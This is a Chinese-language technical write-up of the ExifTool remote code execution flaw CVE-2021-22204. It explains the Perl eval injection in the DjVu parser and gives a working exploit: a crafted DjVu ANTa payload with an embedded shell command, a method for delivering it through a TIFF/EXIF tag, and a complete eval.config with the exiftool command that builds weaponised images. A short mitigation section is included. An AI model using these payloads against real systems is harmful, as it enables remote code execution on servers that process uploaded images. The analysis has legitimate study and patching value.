CVE-2021-22204 - ExifTool RCE详细分析
字数 1194 2025-08-05 08:17:55
CVE-2021-22204 - ExifTool远程代码执行漏洞深度分析与利用指南
漏洞概述
CVE-2021-22204是ExifTool中的一个严重远程代码执行(RCE)漏洞,影响版本11.70及之前。该漏洞存在于DjVu模块的ParseAnt方法中,由于对用户输入的不当处理,导致攻击者可以通过精心构造的图像文件执行任意Perl代码。
漏洞背景
ExifTool是一个广泛使用的元数据处理工具,支持多种文件格式(JPEG、TIFF、PNG等)。当处理包含恶意元数据的图像文件时,攻击者可利用此漏洞在目标系统上执行任意命令。
漏洞分析
漏洞位置
漏洞位于lib/Image/ExifTool/DjVu.pm文件的ParseAnt方法中:
$tok = '';
for (;;) {
# 获取到下一个引号前的字符串
my $pos = pos(
$$
dataPt);
last Tok unless
$$
dataPt =~ /"/sg;
$tok .= substr(
$$
dataPt, $pos, pos(
$$
dataPt)-1-$pos);
# 除非引号被奇数个反斜杠转义,否则我们没问题
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # 引号是字符串的一部分
}
# 必须保护未转义的"$"和"@"符号,以及字符串末尾的"\"
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# 转换C转义序列(允许在引号文本中)
$tok = eval qq{"$tok"};
漏洞原理
- 字符串解析问题:代码尝试解析DjVu文件中的ANTa块(文本元数据块),处理引号内的字符串内容
- 转义处理缺陷:正则表达式
$tok =~ /(\\+)$/在匹配字符串结尾的反斜杠时,会错误地将换行符后的内容视为字符串的一部分 - eval注入:当字符串以反斜杠加换行符结尾时,后续内容会被当作Perl代码执行
触发条件
构造一个DjVu文件,其ANTa块包含如下格式的恶意元数据:
(metadata (Author "\
" . return `command`; #"))
漏洞利用
直接利用DjVu格式
- 创建包含恶意ANTa块的DjVu文件:
AT&TFORM\x00\x00\x00\x08DJVUANTa\x00\x00\x01\x04(metadata (Author "\
" . return `command`; #"))
- 当ExifTool解析此文件时,会执行指定的命令
通过其他格式间接利用
由于ExifTool的模块化设计,该漏洞可通过多种文件格式触发:
1. 通过TIFF/EXIF格式
修改TIFF文件中的HasselbladExif标签(0xc51b):
- 将TIFF标签0x83bb改为0xc51b
- 标签值设置为DjVu有效载荷:
AT&TFORM\x00\x00\x00\x08DJVUANTa\x00\x00\x01\x04(metadata (Author "\
" . return `command`; #"))
2. 使用配置文件自动化利用
创建eval.config文件:
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
use MIME::Base64;
my $val = shift;
$encoded = encode_base64($val);
my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
my $len = pack "N", length($meta);
my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
return $payload;
}
}
}
)
使用命令:
exiftool -config eval.config image.jpg -eval='system("command")'
3. 其他可利用的格式
- ZIP:包含
meta.json文件的ZIP - PDF:使用DCTDecode或JPXDecode过滤器的PDF
- AVI:包含EXIF标签的AVI文件
- MOV/MP4:利用RicohRMKN标签
防御措施
- 升级ExifTool:升级到11.90或更高版本
- 输入验证:对用户上传的图像文件进行严格验证
- 沙箱运行:在受限环境中运行ExifTool
- 最小权限:以非特权用户身份运行ExifTool
漏洞影响
该漏洞影响广泛,因为:
- ExifTool被许多网站和应用程序用于处理图像元数据
- 攻击可通过多种常见图像格式实现
- 不需要用户交互,只需处理恶意文件即可触发
技术总结
CVE-2021-22204展示了元数据处理工具中的复杂漏洞链:
- 通过DjVu格式的文本元数据解析问题
- 利用Perl的eval功能实现代码执行
- 通过ExifTool的模块化设计扩展到多种文件格式
此漏洞强调了深度防御的重要性,即使是在看似无害的文件处理工具中。